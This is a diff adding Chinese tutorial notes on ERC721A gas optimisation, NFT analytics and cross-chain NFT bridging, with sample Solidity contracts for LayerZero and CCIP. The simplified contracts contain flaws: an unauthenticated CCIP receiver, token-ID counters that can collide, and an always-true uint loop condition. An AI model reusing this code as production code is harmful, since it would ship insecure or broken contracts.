+    // ownership above and the recipient's balance can't realistically overflow.
+    // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256.
+    unchecked {
+        // 2. 取到ownership数据后对balance进行操作(to++,from--)
+        --_packedAddressData[from]; // Updates: `balance -= 1`.
+        ++_packedAddressData[to]; // Updates: `balance += 1`.
+
+        // Updates:
+        // - `address` to the next owner.
+        // - `startTimestamp` to the timestamp of transfering.
+        // - `burned` to `false`.
+        // - `nextInitialized` to `true`.
+        // 3. 初始化/修改当前nft的ownership数据
+        _packedOwnerships[tokenId] = _packOwnershipData(
+            to,
+            _BITMASK_NEXT_INITIALIZED | _nextExtraData(from, to, prevOwnershipPacked)
+        );
+
+        // If the next slot may not have been initialized (i.e. `nextInitialized == false`) .
+        // 4. 如果后一位还没初始化的(ownership的225位数据),则对后面一位nft的ownership数据进行初始化(把1里面找到的数据直接赋值给他)
+        if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {
+            uint256 nextTokenId = tokenId + 1;
+            // If the next slot's address is zero and not burned (i.e. packed value is zero).
+            if (_packedOwnerships[nextTokenId] == 0) {
+                // If the next slot is within bounds.
+                if (nextTokenId != _currentIndex) {
+                    // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`.
+                    _packedOwnerships[nextTokenId] = prevOwnershipPacked;
+                }
+            }
+        }
+    }
+    emit Transfer(from, to, tokenId);
+    _afterTokenTransfers(from, to, tokenId, 1);
+}
+```
+## 嵌套的if条件节省gas
+
+### 原来写法
+```solidity
+if (!_isSenderApprovedOrOwner(approvedAddress, from, _msgSenderERC721A()) && !isApprovedForAll(from, _msgSenderERC721A())) {
+  revert TransferCallerNotOwnerNorApproved();
+}
+```
+
+### 改成嵌套节省20gas
+```solidity
+// The nested ifs save around 20+ gas over a compound boolean condition.
+        if (!_isSenderApprovedOrOwner(approvedAddress, from, _msgSenderERC721A()))
+            if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();
+```
+
+
+
+
diff --git a/nft/ERC721A/ERC721A.md b/nft/ERC721A/ERC721A.md
new file mode 100644
index 000000000..802b38e54
--- /dev/null
+++ b/nft/ERC721A/ERC721A.md
@@ -0,0 +1,186 @@
+# **ERC721A 算法分析与设计**
+
+## **参考链接**
+
+1. [OpenZeppelin 的 EIP721 实现](https://learnblockchain.cn/article/3041)  
+2. [Azuki 的 EIP721A 实现](https://www.azuki.com/erc721a)
+
+
+
+## **OpenZeppelin 实现的缺点**
+
+在典型的 NFT 项目中，开发者通常利用 OpenZeppelin (OZ) 提供的 EIP721 模板进行实现。以下是一个常见的铸造逻辑示例：
+
+```javascript
+function mintNFT(uint256 numberOfNfts) public payable {
+    //检查totalsupply不能超过
+    require(totalSupply() < MAX_NFT_SUPPLY);
+    require(numberOfNfts.add(totalSupply()) < MAX_NFT_SUPPLY);
+    //检查numberOfNFT在(0,20]
+    require(numberOfNfts > 0 && numberOfNfts <=20);
+    //检查价格*numberOfNFT==msg.value
+    require(numberOfNfts.mul(getNFTPrice()) == msg.value);
+    //执行for循环，每个循环里都触发mint一次，写入一个全局变量
+    for (uint i = 0; i < numberOfNfts; i++) {
+        uint index = totalSupply();
+        _safeMint(msg.sender, index);
+    }
+}
+```
+
+### **缺点分析**
+1. **单次 mint 的低效率**  
+   OZ 的实现中，每次调用 `_safeMint` 都会触发多次存储操作 (`SSTORE`)。在一个典型的 `mint` 操作中，以下两个全局变量会被频繁更新：  
+   - `_balances`: 记录地址拥有的 NFT 数量。  
+   - `_owners`: 记录每个 `tokenId` 对应的拥有者地址。  
+
+2. **性能瓶颈**  
+   当批量铸造 N 个 NFT 时，算法复杂度为 \(O(N)\)，因为需要循环调用 N 次 `mint` 方法。单次 `mint` 至少涉及两次 `SSTORE` 操作，批量铸造 N 个 NFT 则需执行至少 \(2N\) 次 `SSTORE` 操作，导致 Gas 成本显著增加。
+
+
+
+## **ERC721A 的改进**
+
+ERC721A 的核心目标是优化批量铸造的效率，通过提供一个批量铸造的 API，使算法复杂度从 \(O(N)\) 降为 \(O(1)\)。以下是其基本实现思路：
+
+### **批量 Mint 的简单实现**
+
+ERC721A 的批量铸造通过改写 `_mint` 函数实现，允许开发者一次性指定铸造的 NFT 数量并批量更新全局变量。
+
+```javascript
+function _mint(address to, uint256 quantity) internal virtual {
+    uint256 tokenId = _currIndex;
+    _balances[to] += quantity;
+    _owners[tokenId] = to;
+
+    for (uint256 i = 0; i < quantity; i++) {
+        emit Transfer(address(0), to, tokenId);
+        tokenId++;
+    }
+
+    _currIndex = tokenId;
+}
+```
+
+
+
+### **改进分析**
+
+#### 1. **性能优化：从 \(O(N)\) 到 \(O(1)\)**
+- **算法复杂度**：  
+  批量铸造中虽然包含 `for` 循环，但该循环仅用于发出 `Transfer` 事件，不涉及昂贵的存储操作（如 `SSTORE`）。Gas 成本大幅降低。
+- **存储优化**：  
+  批量铸造时，仅记录第一个 `tokenId` 的 `owner`，后续 `tokenId` 的 `owner` 被默认为同一地址，直到下一次铸造或转移操作。
+
+#### 2. **存储稀疏性**
+- 在批量铸造过程中，仅存储第一个 `tokenId` 的 `owner` 信息，节省了对后续 `tokenId` 的存储开销。例如，当用户 `Alice` 批量铸造 5 个 NFT 时，仅记录 `_owners[2] = Alice`，其余 `tokenId` 的 `owner` 默认为 `address(0)`，直到发生转移。
+
+#### 3. **实现 `ownerOf` 的改进逻辑**
+  因为 `_owners` 数组稀疏存储，只记录部分 `tokenId` 的 `owner`，需要通过递减查询逻辑定位实际拥有者。
+
+```javascript
+function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
+    require(_exists(tokenId), "OwnerQueryForNonexistentToken");
+
+    for (uint256 curr = tokenId; curr >= 0; curr--) {
+        address owner = _owners[curr];
+        if (owner != address(0)) {
+            return TokenOwnership(owner, _startTimestamps[curr]);
+        }
+    }
+
+    revert("Ownership Error");
+}
+```
+
+
+
+## **关键问题与解决方案**
+
+### **1. 非连续 TokenID 的适用性**
+- **问题**：  
+  ERC721A 假定 `tokenId` 为连续单调递增的整数序列。如果 `tokenId` 是不连续的（如时间戳生成），算法会失效。
+- **解决方案**：  
+  对于非连续 `tokenId` 场景，可以补充每个 `tokenId` 的独立存储逻辑，但这将牺牲批量铸造的 Gas 优势。
+
+
+
+### **2. 转移操作的处理**
+- **问题**：  
+  当 `transfer` 操作打破 `tokenId` 的连续性时，需要更新相关的 `_owners` 信息。例如，当 `Alice` 转移 `tokenId = 3` 给 `Bob` 时，需要明确更新 `tokenId = 4` 的 `_owner` 信息。
+- **解决方案**：  
+  在 `transfer` 方法中，通过判断后续 `tokenId` 的 `_owner` 是否为 `address(0)`，动态补充存储信息。
+
+```javascript
+function _transfer(address from, address to, uint256 tokenId) private {
+    TokenOwnership memory prevOwnership = ownershipOf(tokenId);
+    require(from == prevOwnership.addr);
+
+    _balances[from] -= 1;
+    _balances[to] += 1;
+    _owners[tokenId] = to;
+
+    uint256 nextTokenId = tokenId + 1;
+    if (_owners[nextTokenId] == address(0) && _exists(nextTokenId)) {
+        _owners[nextTokenId] = from;
+    }
+
+    emit Transfer(from, to, tokenId);
+}
+```
+
+
+
+### **3. 枚举方法的实现**
+- **问题**：  
+  ERC721 标准要求实现 `tokenOfOwnerByIndex` 方法，而 ERC721A 的稀疏存储设计无法直接提供一个高效的索引查找方式。
+- **解决方案**：  
+  遍历整个 `tokenId` 序列，并根据 `owner` 归属动态生成结果。虽然效率较低，但在批量铸造场景中依然满足标准要求。
+
+```javascript
+function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
+    require(index < balanceOf(owner), "OwnerIndexOutOfBounds");
+
+    uint256 max = totalSupply();
+    uint256 tokenIdsIndex;
+    address currOwner;
+
+    for (uint256 i = 0; i < max; i++) {
+        if (_owners[i] != address(0)) {
+            currOwner = _owners[i];
+        }
+
+        if (currOwner == owner) {
+            if (tokenIdsIndex == index) return i;
+            tokenIdsIndex++;
+        }
+    }
+
+    revert("Error");
+}
+```
+
+
+
+## **ERC721A 的局限性**
+
+1. **TokenID 必须连续**  
+   批量铸造依赖于连续递增的 `tokenId`。非连续场景（如基于时间戳生成的 `tokenId`）需要额外适配。
+
+2. **高频转移性能受限**  
+   稀疏存储的设计在频繁转移操作中增加了存储更新的复杂性。
+
+
+
+## **`startTimestamp` 的用途**
+
+`startTimestamp` 是 `TokenOwnership` 结构的一部分，用于记录 `tokenId` 的持有起始时间。主要用途包括：
+1. **持有时长计算**：奖励长期持有者或限制交易解锁时间。  
+2. **市场排序支持**：支持基于持有时间的 NFT 排序功能。  
+3. **历史溯源**：提供持有时间信息，便于审计和查询。
+
+
+
+### **总结**
+
+ERC721A 在批量铸造场景下极大优化了 Gas 成本，但需要针对高频转移和非连续 `tokenId` 的场景进一步适配。其设计适合一次性生成大量 NFT 的场景，如 PFP 项目或游戏资产发行。
\ No newline at end of file
diff --git a/nft/Practical-Applications/NFT-Analytics.md b/nft/Practical-Applications/NFT-Analytics.md
new file mode 100644
index 000000000..6d2668a9a
--- /dev/null
+++ b/nft/Practical-Applications/NFT-Analytics.md
@@ -0,0 +1,212 @@
+# NFT数据分析
+
+## 概述
+
+NFT市场的快速发展产生了海量数据，对这些数据进行有效分析可以揭示市场趋势、用户行为和项目价值。本文档探讨NFT数据分析的方法、工具和应用场景，帮助开发者和研究者从数据中获取洞察，为决策提供支持。
+
+## 数据来源
+
+### 链上数据
+
+链上数据是NFT分析的基础，主要包括：
+
+1. **交易数据**：包括铸造、购买、出售、转移等交易记录
+2. **价格数据**：NFT的历史成交价格和当前挂单价格
+3. **所有权数据**：NFT的当前和历史持有者信息
+4. **合约事件**：NFT合约触发的各类事件（Transfer、Approval等）
+5. **Gas费用**：与NFT相关操作的Gas消耗情况
+
+### 链下数据
+
+链下数据补充了链上数据无法提供的信息：
+
+1. **元数据**：NFT的名称、描述、属性和媒体文件
+2. **社交数据**：Twitter、Discord等平台上的社区活动和讨论
+3. **市场数据**：不同NFT市场平台的流量、用户和交易数据
+4. **创作者信息**：艺术家和项目团队的背景和声誉
+5. **媒体报道**：新闻文章、博客和评论对NFT项目的报道
+
+## 分析方法
+
+### 1. 市场分析
+
+市场分析关注整体NFT市场的状态和趋势：
+
+- **交易量分析**：监测不同时期、不同类别NFT的交易量变化
+- **价格趋势分析**：追踪NFT价格的波动和长期趋势
+- **流动性分析**：评估不同NFT的流动性和交易频率
+- **市场集中度分析**：研究市场份额在不同项目和平台间的分布
+- **相关性分析**：研究NFT价格与加密货币市场、传统市场的相关性
+
+### 2. 项目分析
+
+项目分析聚焦于特定NFT项目的表现和价值：
+
+- **稀有度分析**：基于属性组合评估NFT在集合中的稀有程度
+- **价值分布分析**：研究项目内不同NFT的价格分布
+- **持有者分析**：分析持有者的数量、分布和行为模式
+- **交易模式分析**：识别项目内的交易模式和异常活动
+- **生命周期分析**：研究项目从发布到成熟的发展轨迹
+
+### 3. 用户行为分析
+
+用户行为分析研究NFT市场参与者的行为特征：
+
+- **用户分类**：将用户分为收藏者、投资者、创作者等不同类型
+- **持有模式**：分析用户的持有时间和交易频率
+- **投资组合分析**：研究用户的NFT投资组合构成
+- **社交网络分析**：分析用户之间的交易关系和社交连接
+- **用户生命周期**：研究用户从入场到退出的完整旅程
+
+## 技术实现
+
+### 数据采集
+
+#### 1. 区块链数据索引
+
+使用区块链索引服务获取和处理链上数据：
+
+- **The Graph**：构建自定义子图索引NFT相关事件
+- **Dune Analytics**：使用SQL查询分析链上数据
+- **Etherscan API**：直接从区块浏览器获取交易和合约数据
+
+#### 2. NFT市场API
+
+通过市场平台API获取交易和挂单数据：
+
+- **OpenSea API**：获取OpenSea上的NFT交易和挂单信息
+- **LooksRare API**：访问LooksRare市场数据
+- **Rarible API**：获取Rarible平台的NFT数据
+
+#### 3. 元数据抓取
+
+获取和解析NFT元数据：
+
+- **IPFS客户端**：从IPFS获取去中心化存储的元数据
+- **Web爬虫**：抓取中心化存储的NFT元数据
+- **元数据标准化**：处理不同格式的元数据，统一为标准格式
+
+### 数据存储
+
+根据分析需求选择合适的数据存储方案：
+
+- **时序数据库**（如InfluxDB）：存储价格和交易量等时间序列数据
+- **图数据库**（如Neo4j）：存储用户关系和交易网络
+- **文档数据库**（如MongoDB）：存储NFT元数据和属性
+- **关系数据库**（如PostgreSQL）：存储结构化的交易和用户数据
+- **数据湖**（如AWS S3 + Athena）：存储大规模原始数据以供灵活查询
+
+### 分析工具
+
+#### 1. 数据处理框架
+
+- **Apache Spark**：大规模数据处理和分析
+- **Python数据科学栈**：Pandas、NumPy、SciPy等用于数据处理和分析
+- **R语言**：统计分析和可视化
+
+#### 2. 机器学习工具
+
+- **Scikit-learn**：实现分类、聚类和回归分析
+- **TensorFlow/PyTorch**：构建深度学习模型进行复杂模式识别
+- **Prophet/ARIMA**：时间序列预测和趋势分析
+
+#### 3. 可视化工具
+
+- **Tableau**：创建交互式数据仪表板
+- **D3.js**：构建自定义Web可视化
+- **Plotly**：创建交互式图表和可视化
+- **Grafana**：实时监控和可视化
+
+## 应用场景
+
+### 1. 投资决策支持
+
+NFT数据分析可以为投资者提供决策支持：
+
+- **项目评估**：基于数据评估NFT项目的价值和潜力
+- **价格预测**：使用历史数据和市场指标预测NFT价格趋势
+- **投资组合优化**：分析不同NFT的相关性和风险，优化投资组合
+- **市场时机判断**：识别市场周期和最佳交易时机
+- **异常检测**：发现价格操纵和可疑交易活动
+
+### 2. 创作者洞察
+
+为NFT创作者和项目团队提供市场洞察：
+
+- **受众分析**：了解收藏者的偏好和行为
+- **定价策略**：基于市场数据制定最优定价策略
+- **属性设计**：分析哪些属性组合最受欢迎和有价值
+- **发行策略**：确定最佳发行时间、数量和机制
+- **社区参与度**：衡量社区活动与NFT价值的关系
+
+### 3. 市场监管与风险管理
+
+支持市场监管和风险管理：
+
+- **洗钱检测**：识别可能的洗钱和自交易行为
+- **市场操纵分析**：检测价格操纵和市场欺诈
+- **风险评估**：评估不同NFT项目的风险水平
+- **市场健康监测**：监控整体市场健康状况和稳定性
+- **合规报告**：生成满足监管要求的报告
+
+### 4. 学术研究
+
+支持NFT和数字经济领域的学术研究：
+
+- **市场效率研究**：研究NFT市场的效率和定价机制
+- **网络效应分析**：研究社交网络对NFT价值的影响
+- **行为经济学研究**：分析NFT市场中的非理性行为
+- **创新扩散研究**：研究NFT创新如何在市场中传播
+- **跨市场比较**：比较NFT市场与传统艺术市场的异同
+
+## 实例分析
+
+### 稀有度评分系统
+
+稀有度评分是NFT分析中的核心指标，下面是一个简化的稀有度计算方法：
+
+1. **特征频率计算**：计算每个特征在集合中的出现频率
+2. **特征稀有度计算**：特征稀有度 = 1 / 特征频率
+3. **NFT稀有度计算**：将NFT所有特征的稀有度相加或取平均值
+
+这种方法可以帮助收藏者和投资者识别集合中最稀有和潜在最有价值的NFT。
+
+### 价格预测模型
+
+价格预测模型可以结合多种因素预测NFT价格：
+
+1. **历史价格数据**：NFT的历史成交价格和价格波动
+2. **稀有度指标**：NFT在集合中的稀有程度
+3. **市场情绪**：社交媒体情绪分析和关注度
+4. **创作者声誉**：创作者的历史作品价值和声誉
+5. **市场趋势**：整体NFT市场和特定类别的趋势
+
+通过机器学习算法（如随机森林或神经网络）可以构建综合考虑这些因素的预测模型。
+
+### 社区健康分析
+
+社区健康是NFT项目长期成功的关键指标：
+
+1. **社交媒体活跃度**：Twitter、Discord等平台的活跃用户数和互动率
+2. **持有者分布**：评估持有者集中度和多样性
+3. **交易活跃度**：二级市场的交易频率和流动性
+4. **新用户增长率**：新收藏者加入社区的速度
+5. **长期持有比例**：长期持有者（钻石手）的比例
+
+这些指标可以综合评估NFT项目社区的健康状况和长期发展潜力。
+
+## 未来发展方向
+
+1. **跨链数据整合**：整合不同区块链上的NFT数据，提供全面的市场视图
+
+2. **AI驱动分析**：应用更先进的AI技术进行市场预测和模式识别
+
+3. **实时分析系统**：开发能够实时响应市场变化的分析系统
+
+4. **去中心化分析工具**：构建去中心化的数据分析平台，允许社区共同贡献和使用数据
+
+5. **元宇宙数据整合**：将元宇宙活动数据与NFT数据结合，分析虚拟世界中的资产价值
+
+6. **隐私保护分析**：开发保护用户隐私的数据分析方法，如零知识证明技术
+
+7. **跨市场分析**：将NFT市场与传统艺术市场、游戏市场等进行跨领域比较分析
diff --git a/nft/Practical-Applications/NFT-Cross-Chain.md b/nft/Practical-Applications/NFT-Cross-Chain.md
new file mode 100644
index 000000000..aaa5b620b
--- /dev/null
+++ b/nft/Practical-Applications/NFT-Cross-Chain.md
@@ -0,0 +1,414 @@
+# NFT跨链应用
+
+## 概述
+
+随着区块链生态系统的多样化发展，不同链上的NFT资产需要实现互操作性和流动性。跨链NFT技术允许非同质化代币在不同区块链网络间转移和使用，打破了生态系统孤岛，为NFT带来更广阔的应用空间和价值流通渠道。本文档探讨NFT跨链技术的实现方案、挑战和应用场景。
+
+## 技术原理
+
+### 跨链NFT的实现方式
+
+目前主要有以下几种实现NFT跨链的技术方案：
+
+#### 1. 锁定与铸造模式
+
+这是最常见的跨链模式，其工作流程如下：
+
+1. 在源链上锁定原始NFT
+2. 在目标链上铸造对应的包装NFT
+3. 当需要返回源链时，销毁目标链上的包装NFT
+4. 解锁源链上的原始NFT
+
+这种模式保持了NFT的唯一性，确保同一时间只有一个链上存在可用的NFT版本。
+
+#### 2. 哈希证明模式
+
+使用密码学哈希证明在不同链上验证NFT的所有权：
+
+1. 在源链上生成包含NFT数据和所有权信息的哈希
+2. 将该哈希和相关证明提交到目标链
+3. 目标链验证证明并在其上创建对应的NFT
+
+#### 3. 中继器网络
+
+利用专门的中继器节点网络监听多条链上的事件并协调跨链操作：
+
+1. 中继器监听源链上的NFT锁定事件
+2. 中继器向目标链提交包含足够证明的交易
+3. 目标链验证证明并执行相应操作
+
+#### 4. 跨链消息协议
+
+使用专门的跨链通信协议（如LayerZero、Axelar等）传递NFT相关信息：
+
+1. 源链发送包含NFT数据的跨链消息
+2. 跨链协议确保消息安全传递到目标链
+3. 目标链接收并处理消息，执行相应的NFT操作
+
+## 实现方案
+
+### 基于LayerZero的跨链NFT实现
+
+LayerZero是一个流行的跨链通信协议，下面是使用LayerZero实现跨链NFT的简化合约示例：
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
+import "@layerzerolabs/solidity-examples/contracts/lzApp/NonblockingLzApp.sol";
+
+contract CrossChainNFT is ERC721URIStorage, NonblockingLzApp {
+    // 跨链消息类型
+    uint16 public constant MINT = 1;
+    uint16 public constant TRANSFER = 2;
+    
+    // 记录每个链上的NFT ID计数器
+    mapping(uint16 => uint256) public nextTokenIds;
+    
+    // 记录跨链NFT的原始信息
+    struct OriginalNFT {
+        uint16 chainId;       // 原始链ID
+        uint256 tokenId;      // 原始Token ID
+        address originalOwner; // 原始所有者
+    }
+    
+    // 本链NFT ID => 原始NFT信息
+    mapping(uint256 => OriginalNFT) public originalNFTs;
+    
+    // 跨链NFT ID映射: 源链ID => 源Token ID => 目标Token ID
+    mapping(uint16 => mapping(uint256 => uint256)) public crossChainMapping;
+    
+    event NFTReceived(uint16 srcChainId, uint256 srcTokenId, uint256 newTokenId, address owner);
+    event NFTSent(uint16 dstChainId, uint256 tokenId);
+    
+    constructor(address _lzEndpoint) 
+        ERC721("Cross Chain NFT", "CCNFT") 
+        NonblockingLzApp(_lzEndpoint) {}
+    
+    // 铸造本链原生NFT
+    function mint(string memory tokenURI) external {
+        uint256 tokenId = nextTokenIds[0]++;
+        _safeMint(msg.sender, tokenId);
+        _setTokenURI(tokenId, tokenURI);
+        
+        // 记录为本链原生NFT
+        originalNFTs[tokenId] = OriginalNFT(0, tokenId, msg.sender);
+    }
+    
+    // 发送NFT到目标链
+    function sendNFT(uint16 _dstChainId, uint256 _tokenId, bytes calldata _adapterParams) external payable {
+        require(ownerOf(_tokenId) == msg.sender, "Not the owner");
+        
+        // 构建跨链消息
+        bytes memory payload = abi.encode(
+            TRANSFER,
+            _tokenId,
+            originalNFTs[_tokenId].chainId,
+            originalNFTs[_tokenId].tokenId,
+            msg.sender,
+            _getTokenURI(_tokenId)
+        );
+        
+        // 计算跨链消息费用
+        uint256 fee = _estimateFee(_dstChainId, payload, _adapterParams);
+        require(msg.value >= fee, "Insufficient fee");
+        
+        // 销毁本链NFT
+        _burn(_tokenId);
+        
+        // 发送跨链消息
+        _lzSend(_dstChainId, payload, payable(msg.sender), address(0), _adapterParams, msg.value);
+        
+        emit NFTSent(_dstChainId, _tokenId);
+    }
+    
+    // 接收跨链消息的回调函数
+    function _nonblockingLzReceive(
+        uint16 _srcChainId,
+        bytes memory _srcAddress,
+        uint64 _nonce,
+        bytes memory _payload
+    ) internal override {
+        // 解析消息
+        (uint16 msgType, uint256 srcTokenId, uint16 originalChainId, uint256 originalTokenId, address owner, string memory tokenURI) = 
+            abi.decode(_payload, (uint16, uint256, uint16, uint256, address, string));
+        
+        if (msgType == TRANSFER) {
+            // 检查是否已有映射
+            uint256 existingTokenId = crossChainMapping[_srcChainId][srcTokenId];
+            uint256 newTokenId;
+            
+            if (existingTokenId == 0) {
+                // 创建新的NFT
+                newTokenId = nextTokenIds[_srcChainId]++;
+                crossChainMapping[_srcChainId][srcTokenId] = newTokenId;
+            } else {
+                // 使用现有映射
+                newTokenId = existingTokenId;
+            }
+            
+            // 铸造NFT到接收者地址
+            _safeMint(owner, newTokenId);
+            _setTokenURI(newTokenId, tokenURI);
+            
+            // 记录原始NFT信息
+            originalNFTs[newTokenId] = OriginalNFT(originalChainId, originalTokenId, owner);
+            
+            emit NFTReceived(_srcChainId, srcTokenId, newTokenId, owner);
+        }
+    }
+    
+    // 估算跨链消息费用
+    function estimateFee(uint16 _dstChainId, uint256 _tokenId, bytes calldata _adapterParams) external view returns (uint256) {
+        bytes memory payload = abi.encode(
+            TRANSFER,
+            _tokenId,
+            originalNFTs[_tokenId].chainId,
+            originalNFTs[_tokenId].tokenId,
+            msg.sender,
+            _getTokenURI(_tokenId)
+        );
+        
+        return _estimateFee(_dstChainId, payload, _adapterParams);
+    }
+    
+    // 获取Token URI（处理已销毁的Token）
+    function _getTokenURI(uint256 _tokenId) internal view returns (string memory) {
+        try this.tokenURI(_tokenId) returns (string memory uri) {
+            return uri;
+        } catch {
+            return "";
+        }
+    }
+}
+```
+
+### 基于Chainlink CCIP的跨链NFT实现
+
+Chainlink Cross-Chain Interoperability Protocol (CCIP) 是另一个强大的跨链通信解决方案：
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
+import "@chainlink/contracts-ccip/src/v0.8/ccip/interfaces/IRouterClient.sol";
+import "@chainlink/contracts-ccip/src/v0.8/ccip/applications/CCIPReceiver.sol";
+
+contract CCIPCrossChainNFT is ERC721URIStorage, CCIPReceiver {
+    // 链ID到CCIP链选择器的映射
+    mapping(uint256 => uint64) public chainIdToSelector;
+    
+    // 记录每个链上的NFT ID计数器
+    mapping(uint64 => uint256) public nextTokenIds;
+    
+    // 记录跨链NFT的原始信息
+    struct OriginalNFT {
+        uint64 sourceChainSelector; // 原始链选择器
+        uint256 tokenId;           // 原始Token ID
+        address originalOwner;      // 原始所有者
+    }
+    
+    // 本链NFT ID => 原始NFT信息
+    mapping(uint256 => OriginalNFT) public originalNFTs;
+    
+    // 跨链NFT ID映射: 源链选择器 => 源Token ID => 目标Token ID
+    mapping(uint64 => mapping(uint256 => uint256)) public crossChainMapping;
+    
+    event NFTSent(uint64 destinationChainSelector, uint256 tokenId, address receiver);
+    event NFTReceived(uint64 sourceChainSelector, uint256 srcTokenId, uint256 newTokenId, address receiver);
+    
+    constructor(address router) 
+        ERC721("CCIP Cross Chain NFT", "CCNFT") 
+        CCIPReceiver(router) {
+        // 设置常用链的选择器映射
+        chainIdToSelector[1] = 5009297550715157269;  // Ethereum Mainnet
+        chainIdToSelector[137] = 4051577828743386545; // Polygon
+        chainIdToSelector[43114] = 6433500567565415381; // Avalanche
+    }
+    
+    // 铸造本链原生NFT
+    function mint(string memory tokenURI) external {
+        uint256 tokenId = nextTokenIds[0]++;
+        _safeMint(msg.sender, tokenId);
+        _setTokenURI(tokenId, tokenURI);
+        
+        // 记录为本链原生NFT
+        originalNFTs[tokenId] = OriginalNFT(0, tokenId, msg.sender);
+    }
+    
+    // 发送NFT到目标链
+    function sendNFT(uint256 destinationChainId, uint256 tokenId, address receiver) external payable {
+        require(ownerOf(tokenId) == msg.sender, "Not the owner");
+        
+        // 获取目标链的CCIP选择器
+        uint64 destinationChainSelector = chainIdToSelector[destinationChainId];
+        require(destinationChainSelector != 0, "Destination chain not supported");
+        
+        // 构建跨链消息
+        bytes memory data = abi.encode(
+            tokenId,
+            originalNFTs[tokenId].sourceChainSelector,
+            originalNFTs[tokenId].tokenId,
+            receiver,
+            tokenURI(tokenId)
+        );
+        
+        // 创建CCIP消息
+        Client.EVM2AnyMessage memory message = Client.EVM2AnyMessage({
+            receiver: abi.encode(address(this)),
+            data: data,
+            tokenAmounts: new Client.EVMTokenAmount[](0),
+            extraArgs: "",
+            feeToken: address(0) // 使用原生代币支付费用
+        });
+        
+        // 计算费用
+        uint256 fee = IRouterClient(getRouter()).getFee(destinationChainSelector, message);
+        require(msg.value >= fee, "Insufficient fee");
+        
+        // 销毁本链NFT
+        _burn(tokenId);
+        
+        // 发送CCIP消息
+        bytes32 messageId = IRouterClient(getRouter()).ccipSend{
+            value: fee
+        }(destinationChainSelector, message);
+        
+        emit NFTSent(destinationChainSelector, tokenId, receiver);
+    }
+    
+    // 接收CCIP消息
+    function _ccipReceive(Client.Any2EVMMessage memory message) internal override {
+        // 解析消息
+        (uint256 srcTokenId, uint64 originalChainSelector, uint256 originalTokenId, address receiver, string memory tokenURI) = 
+            abi.decode(message.data, (uint256, uint64, uint256, address, string));
+        
+        // 检查是否已有映射
+        uint256 existingTokenId = crossChainMapping[message.sourceChainSelector][srcTokenId];
+        uint256 newTokenId;
+        
+        if (existingTokenId == 0) {
+            // 创建新的NFT
+            newTokenId = nextTokenIds[message.sourceChainSelector]++;
+            crossChainMapping[message.sourceChainSelector][srcTokenId] = newTokenId;
+        } else {
+            // 使用现有映射
+            newTokenId = existingTokenId;
+        }
+        
+        // 铸造NFT到接收者地址
+        _safeMint(receiver, newTokenId);
+        _setTokenURI(newTokenId, tokenURI);
+        
+        // 记录原始NFT信息
+        if (originalChainSelector == 0) {
+            // 如果是原始NFT，记录源链信息
+            originalNFTs[newTokenId] = OriginalNFT(message.sourceChainSelector, srcTokenId, receiver);
+        } else {
+            // 如果是已经跨链的NFT，保留原始链信息
+            originalNFTs[newTokenId] = OriginalNFT(originalChainSelector, originalTokenId, receiver);
+        }
+        
+        emit NFTReceived(message.sourceChainSelector, srcTokenId, newTokenId, receiver);
+    }
+    
+    // 获取发送费用估算
+    function estimateFee(uint256 destinationChainId, uint256 tokenId) external view returns (uint256) {
+        uint64 destinationChainSelector = chainIdToSelector[destinationChainId];
+        require(destinationChainSelector != 0, "Destination chain not supported");
+        
+        bytes memory data = abi.encode(
+            tokenId,
+            originalNFTs[tokenId].sourceChainSelector,
+            originalNFTs[tokenId].tokenId,
+            address(0), // 占位符
+            tokenURI(tokenId)
+        );
+        
+        Client.EVM2AnyMessage memory message = Client.EVM2AnyMessage({
+            receiver: abi.encode(address(this)),
+            data: data,
+            tokenAmounts: new Client.EVMTokenAmount[](0),
+            extraArgs: "",
+            feeToken: address(0)
+        });
+        
+        return IRouterClient(getRouter()).getFee(destinationChainSelector, message);
+    }
+}
+```
+
+## 应用场景
+
+### 1. 跨链游戏资产
+
+游戏开发者可以创建能够在多个区块链上使用的NFT游戏资产，玩家可以根据不同链的特性和费用选择最适合的链进行游戏。例如，玩家可以在以太坊上购买游戏角色NFT，然后将其转移到Polygon上进行低成本的游戏体验。
+
+### 2. 多链市场流动性
+
+艺术家和创作者可以将其NFT作品部署到多个区块链上，接触不同的用户群体并提高作品的流动性。收藏家可以在费用较低的链上购买NFT，然后在需要时将其转移到主流市场所在的链上出售。
+
+### 3. 跨链DAO治理
+
+去中心化自治组织可以发行跨链治理NFT，允许成员在不同链上参与治理活动。这种方式可以降低参与门槛，提高治理效率，同时保持治理权的唯一性和安全性。
+
+### 4. 元宇宙互操作性
+
+不同区块链上的元宇宙项目可以通过跨链NFT实现资产互操作，用户可以将其虚拟形象、装备和土地等资产在不同元宇宙间自由转移和使用，创造更加开放和互联的虚拟世界生态系统。
+
+### 5. 跨链身份与声誉
+
+用户可以在一个链上建立身份和声誉，然后将其作为NFT转移到其他链上使用，无需在每个链上重新建立身份和信任关系。这种方式可以简化用户体验，促进跨链生态系统的发展。
+
+## 技术挑战与解决方案
+
+### 1. 安全性挑战
+
+**挑战**：跨链操作增加了安全风险，包括双花攻击、重放攻击和桥接合约漏洞。
+
+**解决方案**：
+- 实施严格的安全审计和形式化验证
+- 使用多重签名和时间锁机制
+- 采用渐进式释放和限额机制
+- 实施有效的监控和紧急暂停功能
+
+### 2. 元数据一致性
+
+**挑战**：确保NFT在不同链上的元数据保持一致性。
+
+**解决方案**：
+- 使用IPFS等去中心化存储系统存储元数据
+- 在跨链消息中包含完整元数据或元数据URI
+- 实施元数据同步机制和验证逻辑
+
+### 3. 用户体验
+
+**挑战**：跨链操作对普通用户来说可能过于复杂。
+
+**解决方案**：
+- 开发用户友好的跨链界面和钱包集成
+- 抽象复杂性，提供一键跨链功能
+- 实现气费代付和元交易机制
+
+### 4. 标准化与互操作性
+
+**挑战**：不同链上的NFT标准和实现可能不兼容。
+
+**解决方案**：
+- 推动跨链NFT标准的发展和采用
